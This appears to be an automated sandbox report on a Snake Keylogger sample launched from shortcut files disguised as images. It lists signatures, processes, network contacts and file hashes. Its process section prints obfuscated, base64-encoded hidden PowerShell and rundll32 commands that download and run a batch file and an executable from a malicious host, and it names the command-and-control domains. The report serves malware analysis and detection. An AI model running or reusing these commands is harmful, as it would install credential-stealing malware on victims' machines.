memory/2720-48-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win10v2004-20231222-en
Max time kernel
143s
Max time network
151s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe | N/A |
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4128 set thread context of 964 | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Windows\system32\rundll32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\MuiCache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Image012.png.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" Cmd /C pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
C:\Windows\system32\DeviceCredentialDeployment.exe
DEVIcECRedentIALdEPLOymEnt
C:\Windows\system32\rundll32.exe
RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
C:\Windows\system32\rundll32.exe
rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
C:\Windows\system32\DeviceCredentialDeployment.exe
dEvicEcredeNTiAldEPlOYMeNT
C:\Windows\system32\timeout.exe
timEout /T 7 /nObREAK
C:\Windows\system32\taskkill.exe
TAskkilL.Exe /F /Im rUNdlL32.exE
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
C:\Windows\system32\conhost.exe
CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | vybsnf3.sa.com | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 190.120.93.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 158.101.44.242:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 242.44.101.158.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | varders.kozow.com | udp |
| FR | 51.38.247.67:8081 | varders.kozow.com | tcp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | aborters.duckdns.org | udp |
| NL | 91.92.255.235:8081 | aborters.duckdns.org | tcp |
| US | 8.8.8.8:53 | 235.255.92.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 179.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ns1iedlr.ifu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4184-9-0x000001DF30C60000-0x000001DF30C82000-memory.dmp
memory/4184-10-0x00007FFA58680000-0x00007FFA59141000-memory.dmp
memory/4184-11-0x000001DF30CE0000-0x000001DF30CF0000-memory.dmp
memory/4184-12-0x000001DF30CE0000-0x000001DF30CF0000-memory.dmp
memory/4184-18-0x00007FFA58680000-0x00007FFA59141000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat
| MD5 | 885e4bf9c36d1964f751bca33e898503 |
| SHA1 | 4055100dda8ee3845cfda6735900c556d8c19ca1 |
| SHA256 | 5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a |
| SHA512 | 5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3 |
C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
| MD5 | 39aceb0c8a015a4e8f66498e03ff16db |
| SHA1 | 4707695dece3a70bfbe55868d059a22e4325eaf0 |
| SHA256 | 7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527 |
| SHA512 | 0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc |
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\7V1N9ZS9\jertrs[1].exe
| MD5 | b07832ec5f73ae5f2888ebab2aa5283a |
| SHA1 | cb11a9e432df439fde94b6a3b3677d0112cac3c5 |
| SHA256 | dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21 |
| SHA512 | 7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15 |
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\7V1N9ZS9\jertrs[1].exe
| MD5 | ec5031625d0458f61b9ce0b9115e9b24 |
| SHA1 | bf4e8ad7bfa02fb651b5afb75bcfe2f0e75978b9 |
| SHA256 | 255275e570fe7745e01411f4793511b19f5a8562ea85f92160793592136520d3 |
| SHA512 | 7323beb6ddf25c8ead15f565895cc86f4514ef2f3cf25df2672b1df3c5a6fc22987a258a7ded375d942ebab1afc079c1d145db0b60767c98667d04e1840d5fc3 |
memory/4128-34-0x0000000002340000-0x0000000002341000-memory.dmp
memory/4128-32-0x0000000076F52000-0x0000000076F53000-memory.dmp
memory/4128-37-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-39-0x0000000074BA0000-0x0000000074CFD000-memory.dmp
memory/4128-40-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-43-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4128-42-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-44-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-45-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-46-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-47-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-53-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-57-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-55-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-59-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4128-61-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-62-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4128-64-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4128-67-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-68-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-69-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-70-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-71-0x0000000000690000-0x0000000000790000-memory.dmp
memory/4128-72-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4128-74-0x0000000002550000-0x0000000002558000-memory.dmp
memory/4128-75-0x0000000000690000-0x0000000000790000-memory.dmp
memory/964-76-0x0000000000400000-0x000000000042B000-memory.dmp
memory/964-81-0x0000000000BE0000-0x0000000000BE1000-memory.dmp
memory/964-80-0x0000000076F52000-0x0000000076F53000-memory.dmp
memory/4128-82-0x0000000002550000-0x0000000002558000-memory.dmp
memory/4128-79-0x0000000074BA0000-0x0000000074CFD000-memory.dmp
memory/4128-78-0x0000000000400000-0x000000000054B000-memory.dmp
memory/964-83-0x0000000000400000-0x0000000000426000-memory.dmp
memory/964-85-0x0000000005B70000-0x0000000006114000-memory.dmp
memory/964-86-0x00000000054C0000-0x000000000555C000-memory.dmp
memory/964-84-0x0000000073900000-0x00000000740B0000-memory.dmp
memory/964-87-0x0000000073900000-0x00000000740B0000-memory.dmp
memory/964-88-0x0000000006830000-0x0000000006880000-memory.dmp
memory/964-89-0x0000000006A50000-0x0000000006C12000-memory.dmp
memory/964-90-0x0000000006920000-0x00000000069B2000-memory.dmp
memory/964-91-0x00000000068B0000-0x00000000068BA000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win7-20231129-en
Max time kernel
120s
Max time network
121s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2652 wrote to memory of 2608 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2652 wrote to memory of 2608 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2652 wrote to memory of 2608 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2608 wrote to memory of 2688 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2608 wrote to memory of 2688 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2608 wrote to memory of 2688 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Photo01.jpg.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" CmD /C powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
Network
Files
memory/2688-40-0x000000001B580000-0x000000001B862000-memory.dmp
memory/2688-41-0x00000000028A0000-0x00000000028A8000-memory.dmp
memory/2688-42-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp
memory/2688-43-0x0000000002D20000-0x0000000002DA0000-memory.dmp
memory/2688-44-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp
memory/2688-45-0x0000000002D20000-0x0000000002DA0000-memory.dmp
memory/2688-48-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp
memory/2688-47-0x0000000002D20000-0x0000000002DA0000-memory.dmp
memory/2688-46-0x0000000002D20000-0x0000000002DA0000-memory.dmp
Analysis: behavioral4
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win10v2004-20231215-en
Max time kernel
142s
Max time network
157s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe | N/A |
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3168 set thread context of 3664 | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Windows\system32\rundll32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\MuiCache | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
